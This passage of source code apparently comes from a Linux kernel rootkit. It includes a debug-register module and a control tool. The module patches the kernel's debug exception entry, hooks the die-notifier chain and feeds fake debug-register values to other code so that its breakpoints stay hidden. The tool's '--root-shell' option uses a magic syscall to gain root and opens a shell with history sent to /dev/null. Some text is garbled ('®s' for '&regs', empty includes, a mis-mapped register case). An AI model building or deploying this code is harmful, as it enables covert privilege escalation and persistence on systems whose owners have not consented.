68 | unsigned long dr[2] = { num, val };
69 | ksyms.on_each_cpu(__on_each_cpu_set_dr, dr, 1);
70 | }
71 |
72 | static void emulate_mov_db(int access_ok, unsigned char op,
73 | unsigned int dr, unsigned long *reg)
74 | {
75 | pr_debug("%s: op=%s access_ok=%d\n",
76 | __func__, op == 0x23 ? "set" : "get", access_ok);
77 |
78 | if (op == 0x23) { /* mov reg,drX */
79 | if (access_ok) {
80 | set_dr(dr, *reg);
81 | } else {
82 | /* prevent overwriting already set debug registers */
83 | if (dr >= 0 && dr <= 3 && !bps.dr[dr])
84 | set_dr(dr, *reg);
85 | else if (dr == 6)
86 | set_dr(dr, *reg);
87 | else if (dr == 7)
88 | ;
89 | }
90 | } else { /* mov drX,reg */
91 | if (access_ok) {
92 | get_dr(dr, reg);
93 | } else {
94 | if (dr >= 0 && dr <= 3)
95 | *reg = bps.old_dr[dr];
96 | else if (dr == 6)
97 | *reg = bps.old_dr6;
98 | else if (dr == 7)
99 | *reg = bps.old_dr7;
100 | }
101 | }
102 | }
103 |
104 | static int emulate_cpu(struct pt_regs *regs)
105 | {
106 | int access_ok = 0;
107 | /* op3 is x86_64 specific : mov dbX,r9-15 */
108 | unsigned char op0, op1, op2, op3;
109 |
110 | op0 = *(unsigned char *)regs->ip;
111 | op1 = *(unsigned char *)(regs->ip + 1);
112 | op2 = *(unsigned char *)(regs->ip + 2);
113 | op3 = *(unsigned char *)(regs->ip + 3);
114 |
115 | pr_debug("%s: op0=%x op1=%x op2=%x op3=%x\n",
116 | __func__, op0, op1, op2, op3);
117 |
118 | /*
119 | * set_dr and get_dr are the only function
120 | * allowed to access debug registers
121 | */
122 | if (regs->ip >= (unsigned long)set_dr
123 | && regs->ip < ((unsigned long)set_dr + 256))
124 | access_ok = 1;
125 | else if (regs->ip >= (unsigned long)get_dr
126 | && regs->ip < ((unsigned long)get_dr + 256))
127 | access_ok = 1;
128 |
129 | if (op0 == 0x0f && (op1 == 0x23 || op1 == 0x21)) {
130 | switch (op2) {
131 | /* db0 handling */
132 | case 0xc0:
133 | emulate_mov_db(access_ok, op1, 0, ®s->ax);
134 | break;
135 | case 0xc3:
136 | emulate_mov_db(access_ok, op1, 0, ®s->bx);
137 | break;
138 | case 0xc1:
139 | emulate_mov_db(access_ok, op1, 0, ®s->cx);
140 | break;
141 | case 0xc2:
142 | emulate_mov_db(access_ok, op1, 0, ®s->dx);
143 | break;
144 | case 0xc7:
145 | emulate_mov_db(access_ok, op1, 0, ®s->di);
146 | break;
147 | case 0xc6:
148 | emulate_mov_db(access_ok, op1, 0, ®s->si);
149 | break;
150 | case 0xc4:
151 | emulate_mov_db(access_ok, op1, 0, ®s->sp);
152 | break;
153 | case 0xc5:
154 | emulate_mov_db(access_ok, op1, 0, ®s->bp);
155 | break;
156 |
157 | /* db1 handling */
158 | case 0xc8:
159 | emulate_mov_db(access_ok, op1, 1, ®s->ax);
160 | break;
161 | case 0xcb:
162 | emulate_mov_db(access_ok, op1, 1, ®s->bx);
163 | break;
164 | case 0xc9:
165 | emulate_mov_db(access_ok, op1, 1, ®s->cx);
166 | break;
167 | case 0xca:
168 | emulate_mov_db(access_ok, op1, 1, ®s->dx);
169 | break;
170 | case 0xcf:
171 | emulate_mov_db(access_ok, op1, 1, ®s->di);
172 | break;
173 | case 0xce:
174 | emulate_mov_db(access_ok, op1, 1, ®s->si);
175 | break;
176 | case 0xcc:
177 | emulate_mov_db(access_ok, op1, 1, ®s->sp);
178 | break;
179 | case 0xcd:
180 | emulate_mov_db(access_ok, op1, 1, ®s->bp);
181 | break;
182 |
183 | /* db2 handling */
184 | case 0xd0:
185 | emulate_mov_db(access_ok, op1, 2, ®s->ax);
186 | break;
187 | case 0xd3:
188 | emulate_mov_db(access_ok, op1, 2, ®s->bx);
189 | break;
190 | case 0xd1:
191 | emulate_mov_db(access_ok, op1, 2, ®s->cx);
192 | break;
193 | case 0xd2:
194 | emulate_mov_db(access_ok, op1, 2, ®s->dx);
195 | break;
196 | case 0xd7:
197 | emulate_mov_db(access_ok, op1, 2, ®s->di);
198 | break;
199 | case 0xd6:
200 | emulate_mov_db(access_ok, op1, 2, ®s->si);
201 | break;
202 | case 0xd4:
203 | emulate_mov_db(access_ok, op1, 2, ®s->sp);
204 | break;
205 | case 0xd5:
206 | emulate_mov_db(access_ok, op1, 2, ®s->bp);
207 | break;
208 |
209 | /* db3 handling */
210 | case 0xd8:
211 | emulate_mov_db(access_ok, op1, 3, ®s->ax);
212 | break;
213 | case 0xdb:
214 | emulate_mov_db(access_ok, op1, 3, ®s->bx);
215 | break;
216 | case 0xd9:
217 | emulate_mov_db(access_ok, op1, 3, ®s->cx);
218 | break;
219 | case 0xda:
220 | emulate_mov_db(access_ok, op1, 3, ®s->dx);
221 | break;
222 | case 0xdf:
223 | emulate_mov_db(access_ok, op1, 3, ®s->di);
224 | break;
225 | case 0xde:
226 | emulate_mov_db(access_ok, op1, 3, ®s->si);
227 | break;
228 | case 0xdc:
229 | emulate_mov_db(access_ok, op1, 3, ®s->sp);
230 | break;
231 | case 0xdd:
232 | emulate_mov_db(access_ok, op1, 3, ®s->bp);
233 | break;
234 |
235 | /* db6 handling */
236 | case 0xf0:
237 | emulate_mov_db(access_ok, op1, 6, ®s->ax);
238 | break;
239 | case 0xf3:
240 | emulate_mov_db(access_ok, op1, 6, ®s->bx);
241 | break;
242 | case 0xf1:
243 | emulate_mov_db(access_ok, op1, 6, ®s->cx);
244 | break;
245 | case 0xf2:
246 | emulate_mov_db(access_ok, op1, 6, ®s->dx);
247 | break;
248 | case 0xf7:
249 | emulate_mov_db(access_ok, op1, 6, ®s->di);
250 | break;
251 | case 0xf6:
252 | emulate_mov_db(access_ok, op1, 6, ®s->si);
253 | break;
254 | case 0xf4:
255 | emulate_mov_db(access_ok, op1, 6, ®s->sp);
256 | break;
257 | case 0xf5:
258 | emulate_mov_db(access_ok, op1, 7, ®s->bp);
259 | break;
260 |
261 | /* db7 handling */
262 | case 0xf8:
263 | emulate_mov_db(access_ok, op1, 7, ®s->ax);
264 | break;
265 | case 0xfb:
266 | emulate_mov_db(access_ok, op1, 7, ®s->bx);
267 | break;
268 | case 0xf9:
269 | emulate_mov_db(access_ok, op1, 7, ®s->cx);
270 | break;
271 | case 0xfa:
272 | emulate_mov_db(access_ok, op1, 7, ®s->dx);
273 | break;
274 | case 0xff:
275 | emulate_mov_db(access_ok, op1, 7, ®s->di);
276 | break;
277 | case 0xfe:
278 | emulate_mov_db(access_ok, op1, 7, ®s->si);
279 | break;
280 | case 0xfc:
281 | emulate_mov_db(access_ok, op1, 7, ®s->sp);
282 | break;
283 | case 0xfd:
284 | emulate_mov_db(access_ok, op1, 7, ®s->bp);
285 | break;
286 | }
287 | regs->ip += 3;
288 | } else if (op0 == 0x41 && op1 == 0x0f && (op2 == 0x21 || op2 == 0x23)) {
289 | switch (op3) {
290 | /* db0 handling */
291 | case 0xc0:
292 | emulate_mov_db(access_ok, op2, 0, ®s->r8);
293 | break;
294 | case 0xc1:
295 | emulate_mov_db(access_ok, op2, 0, ®s->r9);
296 | break;
297 | case 0xc2:
298 | emulate_mov_db(access_ok, op2, 0, ®s->r10);
299 | break;
300 | case 0xc3:
301 | emulate_mov_db(access_ok, op2, 0, ®s->r11);
302 | break;
303 | case 0xc4:
304 | emulate_mov_db(access_ok, op2, 0, ®s->r12);
305 | break;
306 | case 0xc5:
307 | emulate_mov_db(access_ok, op2, 0, ®s->r13);
308 | break;
309 | case 0xc6:
310 | emulate_mov_db(access_ok, op2, 0, ®s->r14);
311 | break;
312 | case 0xc7:
313 | emulate_mov_db(access_ok, op2, 0, ®s->r15);
314 | break;
315 | /* db1 handling */
316 | case 0xc8:
317 | emulate_mov_db(access_ok, op2, 1, ®s->r8);
318 | break;
319 | case 0xc9:
320 | emulate_mov_db(access_ok, op2, 1, ®s->r9);
321 | break;
322 | case 0xca:
323 | emulate_mov_db(access_ok, op2, 1, ®s->r10);
324 | break;
325 | case 0xcb:
326 | emulate_mov_db(access_ok, op2, 1, ®s->r11);
327 | break;
328 | case 0xcc:
329 | emulate_mov_db(access_ok, op2, 1, ®s->r12);
330 | break;
331 | case 0xcd:
332 | emulate_mov_db(access_ok, op2, 1, ®s->r13);
333 | break;
334 | case 0xce:
335 | emulate_mov_db(access_ok, op2, 1, ®s->r14);
336 | break;
337 | case 0xcf:
338 | emulate_mov_db(access_ok, op2, 1, ®s->r15);
339 | break;
340 | /* db2 handling */
341 | case 0xd0:
342 | emulate_mov_db(access_ok, op2, 2, ®s->r8);
343 | break;
344 | case 0xd1:
345 | emulate_mov_db(access_ok, op2, 2, ®s->r9);
346 | break;
347 | case 0xd2:
348 | emulate_mov_db(access_ok, op2, 2, ®s->r10);
349 | break;
350 | case 0xd3:
351 | emulate_mov_db(access_ok, op2, 2, ®s->r11);
352 | break;
353 | case 0xd4:
354 | emulate_mov_db(access_ok, op2, 2, ®s->r12);
355 | break;
356 | case 0xd5:
357 | emulate_mov_db(access_ok, op2, 2, ®s->r13);
358 | break;
359 | case 0xd6:
360 | emulate_mov_db(access_ok, op2, 2, ®s->r14);
361 | break;
362 | case 0xd7:
363 | emulate_mov_db(access_ok, op2, 2, ®s->r15);
364 | break;
365 | /* db3 handling */
366 | case 0xd8:
367 | emulate_mov_db(access_ok, op2, 3, ®s->r8);
368 | break;
369 | case 0xd9:
370 | emulate_mov_db(access_ok, op2, 3, ®s->r9);
371 | break;
372 | case 0xda:
373 | emulate_mov_db(access_ok, op2, 3, ®s->r10);
374 | break;
375 | case 0xdb:
376 | emulate_mov_db(access_ok, op2, 3, ®s->r11);
377 | break;
378 | case 0xdc:
379 | emulate_mov_db(access_ok, op2, 3, ®s->r12);
380 | break;
381 | case 0xdd:
382 | emulate_mov_db(access_ok, op2, 3, ®s->r13);
383 | break;
384 | case 0xde:
385 | emulate_mov_db(access_ok, op2, 3, ®s->r14);
386 | break;
387 | case 0xdf:
388 | emulate_mov_db(access_ok, op2, 3, ®s->r15);
389 | break;
390 | /* db6 handling */
391 | case 0xf0:
392 | emulate_mov_db(access_ok, op2, 6, ®s->r8);
393 | break;
394 | case 0xf1:
395 | emulate_mov_db(access_ok, op2, 6, ®s->r9);
396 | break;
397 | case 0xf2:
398 | emulate_mov_db(access_ok, op2, 6, ®s->r10);
399 | break;
400 | case 0xf3:
401 | emulate_mov_db(access_ok, op2, 6, ®s->r11);
402 | break;
403 | case 0xf4:
404 | emulate_mov_db(access_ok, op2, 6, ®s->r12);
405 | break;
406 | case 0xf5:
407 | emulate_mov_db(access_ok, op2, 6, ®s->r13);
408 | break;
409 | case 0xf6:
410 | emulate_mov_db(access_ok, op2, 6, ®s->r14);
411 | break;
412 | case 0xf7:
413 | emulate_mov_db(access_ok, op2, 6, ®s->r15);
414 | break;
415 | /* db7 handling */
416 | case 0xf8:
417 | emulate_mov_db(access_ok, op2, 7, ®s->r8);
418 | break;
419 | case 0xf9:
420 | emulate_mov_db(access_ok, op2, 7, ®s->r9);
421 | break;
422 | case 0xfa:
423 | emulate_mov_db(access_ok, op2, 7, ®s->r10);
424 | break;
425 | case 0xfb:
426 | emulate_mov_db(access_ok, op2, 7, ®s->r11);
427 | break;
428 | case 0xfc:
429 | emulate_mov_db(access_ok, op2, 7, ®s->r12);
430 | break;
431 | case 0xfd:
432 | emulate_mov_db(access_ok, op2, 7, ®s->r13);
433 | break;
434 | case 0xfe:
435 | emulate_mov_db(access_ok, op2, 7, ®s->r14);
436 | break;
437 | case 0xff:
438 | emulate_mov_db(access_ok, op2, 7, ®s->r15);
439 | break;
440 | }
441 | regs->ip += 4;
442 | } else {
443 | pr_debug("%s: unknown opcode\n", __func__);
444 | return 1;
445 | }
446 |
447 | return 0;
448 | }
449 |
450 | static int hw_breakpoint_handler(struct pt_regs *regs, unsigned long dr6)
451 | {
452 | if (dr6 & DR6_BD) {
453 | pr_debug("%s: DR6_BD ip=%lx\n", __func__, regs->ip);
454 | emulate_cpu(regs);
455 | return 0;
456 | }
457 |
458 | for (int i = 0; i < 4; i++) {
459 | if ((dr6 & (DR6_TRAP0 << i)) && bps.handlers[i]) {
460 | bps.handlers[i](regs);
461 | /* FIXME: RF only if exec breakpoint */
462 | regs->flags |= X86_EFLAGS_RF;
463 | return 0;
464 | }
465 | }
466 |
467 | /* breakpoint not handled */
468 | return 1;
469 | }
470 |
471 | static int hw_breakpoint_notify(struct notifier_block *self, unsigned long val, void *data)
472 | {
473 | int ret;
474 | unsigned long dr6;
475 | struct die_args *args = (struct die_args *)data;
476 | struct pt_regs *regs = args->regs;
477 |
478 | if (val != DIE_DEBUG)
479 | return NOTIFY_DONE;
480 |
481 | /* clear dr7 to prevent debug exceptions */
482 | set_dr(7, 0);
483 |
484 | /* DR7_GD disabled : use __get_dr and __set_dr */
485 | __set_dr(6, (unsigned long)DR6_RESERVED);
486 |
487 | dr6 = *(unsigned long *)args->err;
488 | ret = hw_breakpoint_handler(regs, dr6);
489 | ret = ret ? NOTIFY_DONE : NOTIFY_STOP;
490 |
491 | __set_dr(7, bps.dr7);
492 |
493 | return ret;
494 | }
495 |
496 | static void new_do_debug(struct pt_regs *regs, long error_code)
497 | {
498 | int ret;
499 | unsigned long dr6;
500 |
501 | /* clear dr7 to prevent debug exceptions */
502 | set_dr(7, 0);
503 |
504 | /* DR7_GD disabled : use __get_dr and __set_dr */
505 | __get_dr(6, dr6);
506 | __set_dr(6, (unsigned long)DR6_RESERVED);
507 |
508 | ret = hw_breakpoint_handler(regs, dr6);
509 | if (ret)
510 | ksyms.old_do_debug(regs, error_code);
511 |
512 | __set_dr(7, bps.dr7);
513 | }
514 |
515 | static unsigned int *patched_addr = NULL;
516 | static unsigned int old_rip_off;
517 |
518 | static int patch_debug_entry(void)
519 | {
520 | int call_found = 0;
521 | unsigned int rip_offset;
522 | unsigned char *ptr = (unsigned char *)get_idt_handler(1);
523 |
524 | for (int i = 0; i < 128; i++) {
525 | if (call_found == 2) {
526 | patched_addr = (unsigned int *)ptr;
527 | old_rip_off = *patched_addr;
528 | rip_offset = (unsigned long)new_do_debug -
529 | (unsigned long)patched_addr - 4;
530 | ksyms.old_do_debug = (void *)(old_rip_off +
531 | (unsigned long)patched_addr) + 4;
532 |
533 | cr0_wp_disable();
534 | *patched_addr = rip_offset;
535 | cr0_wp_enable();
536 | return 0;
537 |
538 | } else if (ptr[0] == 0xe8) {
539 | call_found++;
540 | }
541 | ptr++;
542 | }
543 |
544 | return -1;
545 | }
546 |
547 | static void restore_debug_entry(void)
548 | {
549 | cr0_wp_disable();
550 | *patched_addr = old_rip_off;
551 | cr0_wp_enable();
552 | }
553 |
554 |
555 | static int debug_handler_patched;
556 | static struct notifier_block hw_breakpoint_notifier_block = {
557 | .notifier_call = hw_breakpoint_notify,
558 | .priority = INT_MAX,
559 | };
560 |
561 | /*
562 | * exported functions
563 | */
564 | void x86_hw_breakpoint_debug(void)
565 | {
566 | unsigned long dr;
567 |
568 | pr_debug("%s: debug registers state\n", __func__);
569 | for (int i = 0; i <= 7; i++) {
570 | if (i == 4 || i == 5)
571 | continue;
572 | get_dr(i, &dr);
573 | pr_debug("\tdr%d=%lx\n", i, dr);
574 | }
575 |
576 | /* retry with debug register protection */
577 | pr_debug("%s: debug registers state (dr protect)\n", __func__);
578 | __get_dr(0, dr);
579 | pr_debug("\tdr0=%lx\n", dr);
580 | __get_dr(1, dr);
581 | pr_debug("\tdr1=%lx\n", dr);
582 | __get_dr(2, dr);
583 | pr_debug("\tdr2=%lx\n", dr);
584 | __get_dr(3, dr);
585 | pr_debug("\tdr3=%lx\n", dr);
586 | __get_dr(6, dr);
587 | pr_debug("\tdr6=%lx\n", dr);
588 | __get_dr(7, dr);
589 | pr_debug("\tdr7=%lx\n", dr);
590 |
591 | pr_debug("%s: trying to set debug registers (dr protect)\n", __func__);
592 | dr=0xbadc0ded;
593 | pr_debug("\tdr0\n");
594 | __set_dr(0, dr);
595 | pr_debug("\tdr1\n");
596 | __set_dr(1, dr);
597 | pr_debug("\tdr2\n");
598 | __set_dr(2, dr);
599 | pr_debug("\tdr3\n");
600 | __set_dr(3, dr);
601 | pr_debug("\tdr6\n");
602 | __set_dr(6, dr);
603 | pr_debug("\tdr7\n");
604 | __set_dr(7, dr);
605 | }
606 |
607 | #include
608 | int x86_hw_breakpoint_init(void)
609 | {
610 | memset(&bps, 0, sizeof(bps));
611 |
612 | /* save debug registers, current cpu */
613 | for (int i = 0; i < 4; i++)
614 | get_dr(i, &bps.old_dr[i]);
615 | get_dr(6, &bps.old_dr6);
616 | get_dr(7, &bps.old_dr7);
617 |
618 | pr_debug("%s: dr0=%lx dr1=%lx dr2=%lx dr3=%lx dr6=%lx dr7=%lx\n",
619 | __func__, bps.old_dr[0], bps.old_dr[1], bps.old_dr[2],
620 | bps.old_dr[3], bps.old_dr6, bps.old_dr7);
621 |
622 | if (CONFIG_PATCH_DEBUG || !ksyms.die_chain || !ksyms.register_die_notifier) {
623 | pr_debug("%s: patching debug handler\n", __func__);
624 | debug_handler_patched = !patch_debug_entry();
625 | if (!debug_handler_patched)
626 | return -1;
627 | } else {
628 | /*
629 | * We want to be called first in the call chain.
630 | * Since hw_breakpoint_exceptions_nb->priority == INT_MAX
631 | * (see kernel/events/hw_breakpoint.c), lower it before
632 | * adding our own handler.
633 | */
634 | struct atomic_notifier_head *anh = (struct atomic_notifier_head *)ksyms.die_chain;
635 | struct notifier_block *h = anh->head;
636 | h->priority--;
637 | ksyms.register_die_notifier(&hw_breakpoint_notifier_block);
638 | h->priority++;
639 | pr_debug("%s: registering die notifier\n", __func__);
640 | }
641 |
642 | return 0;
643 | }
644 |
645 | int x86_hw_breakpoint_exit(void)
646 | {
647 | /* restore saved debug registers */
648 | on_each_cpu_set_dr(7, bps.old_dr7);
649 | on_each_cpu_set_dr(6, bps.old_dr6);
650 | for (int i = 0; i < 4; i++)
651 | on_each_cpu_set_dr(i, bps.old_dr[i]);
652 |
653 | if (CONFIG_PATCH_DEBUG) {
654 | if (debug_handler_patched)
655 | restore_debug_entry();
656 | } else if (ksyms.unregister_die_notifier) {
657 | ksyms.unregister_die_notifier(&hw_breakpoint_notifier_block);
658 | }
659 |
660 | return 0;
661 | }
662 |
663 | /*
664 | * x86_hw_breakpoint_register: enable debug register breakpoint
665 | */
666 | int x86_hw_breakpoint_register(int dr_nr, unsigned long addr, int type,
667 | int len, bp_handler handler)
668 | {
669 | unsigned long dr7 = 0;
670 |
671 | if (dr_nr >= 4 || dr_nr < 0)
672 | return -1;
673 |
674 | bps.dr[dr_nr] = addr;
675 | bps.handlers[dr_nr] = handler;
676 |
677 | dr7 = (len << 2) | type;
678 | dr7 <<= (16 + dr_nr * 4); /* len and type */
679 | dr7 |= 0x2 << (dr_nr * 2); /* global breakpoint */
680 | bps.dr7 |= bps.dr7 | dr7 | DR7_GE;
681 | pr_debug("%s: dr%d=0x%lx dr7=%lx\n", __func__, dr_nr, addr, bps.dr7);
682 | on_each_cpu_set_dr(dr_nr, bps.dr[dr_nr]);
683 | on_each_cpu_set_dr(7, bps.dr7);
684 |
685 | return 0;
686 | }
687 |
688 | /*
689 | * x86_hw_breakpoint_unregister: disable debug register in dr7, restore old register
690 | */
691 | int x86_hw_breakpoint_unregister(int dr_nr)
692 | {
693 | if (dr_nr >= 4)
694 | return -1;
695 |
696 | bps.dr[dr_nr] = 0;
697 | /* disable global breakpoint */
698 | bps.dr7 &= ~(0x2 << dr_nr * 2);
699 | pr_debug("%s: dr%d=0x%lx dr7=%lx\n", __func__, dr_nr, bps.dr[dr_nr], bps.dr7);
700 | on_each_cpu_set_dr(dr_nr, bps.dr[dr_nr]);
701 | on_each_cpu_set_dr(7, bps.dr7);
702 |
703 | return 0;
704 | }
705 |
706 | /*
707 | * x86_hw_breakpoint_protect_enable: enable debug registers protection
708 | */
709 | void x86_hw_breakpoint_protect_enable(void)
710 | {
711 | pr_debug("%s: enable DR7_GD\n", __func__);
712 | bps.dr7 |= DR7_GD;
713 | on_each_cpu_set_dr(7, bps.dr7);
714 | }
715 |
716 | void x86_hw_breakpoint_protect_disable(void)
717 | {
718 | pr_debug("%s: disable DR7_GD\n", __func__);
719 | bps.dr7 &= ~DR7_GD;
720 | on_each_cpu_set_dr(7, bps.dr7);
721 | }
722 |
--------------------------------------------------------------------------------
/tools/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS=-Wall -I../include
2 |
3 | all:
4 | $(CC) $(CFLAGS) -o subversive_ctl subversive_ctl.c
5 |
6 | clean:
7 | $(RM) -f subversive_ctl
8 |
--------------------------------------------------------------------------------
/tools/subversive_ctl.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include
8 |
9 | static struct option long_options[] = {
10 | {"root-shell", 0, 0, 0},
11 | {"debug-rk", 0, 0, 1},
12 | {0, 0, 0, 0}
13 | };
14 |
15 | void usage(const char *path)
16 | {
17 | printf("%s [options]\n" \
18 | "\t--root-shell\t\tgive a root shell\n" \
19 | "\t--debug-rk\t\t(for debugging purpose)\n" \
20 | , path);
21 | }
22 |
23 | void root_shell(void)
24 | {
25 | char *argv[] = { "/bin/sh", NULL };
26 | char *env[] = { "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", NULL };
27 | syscall(SYS_uname, MAGIC_NUMBER_GET_ROOT);
28 | if (getuid() == 0)
29 | execve(argv[0], argv, env);
30 | }
31 |
32 | void debug_rk(void)
33 | {
34 | syscall(SYS_uname, MAGIC_NUMBER_DEBUG_RK);
35 | }
36 |
37 | int main(int argc, char **argv)
38 | {
39 | int c, opt_idx;
40 |
41 | for (;;) {
42 | c = getopt_long(argc, argv, "h", long_options, &opt_idx);
43 | if (c == -1)
44 | break;
45 |
46 | switch (c) {
47 | case 'h':
48 | usage(argv[0]);
49 | return 0;
50 | case 0:
51 | root_shell();
52 | break;
53 | case 1:
54 | debug_rk();
55 | break;
56 | default:
57 | break;
58 | }
59 | }
60 |
61 |
62 | return 0;
63 | }
64 |
--------------------------------------------------------------------------------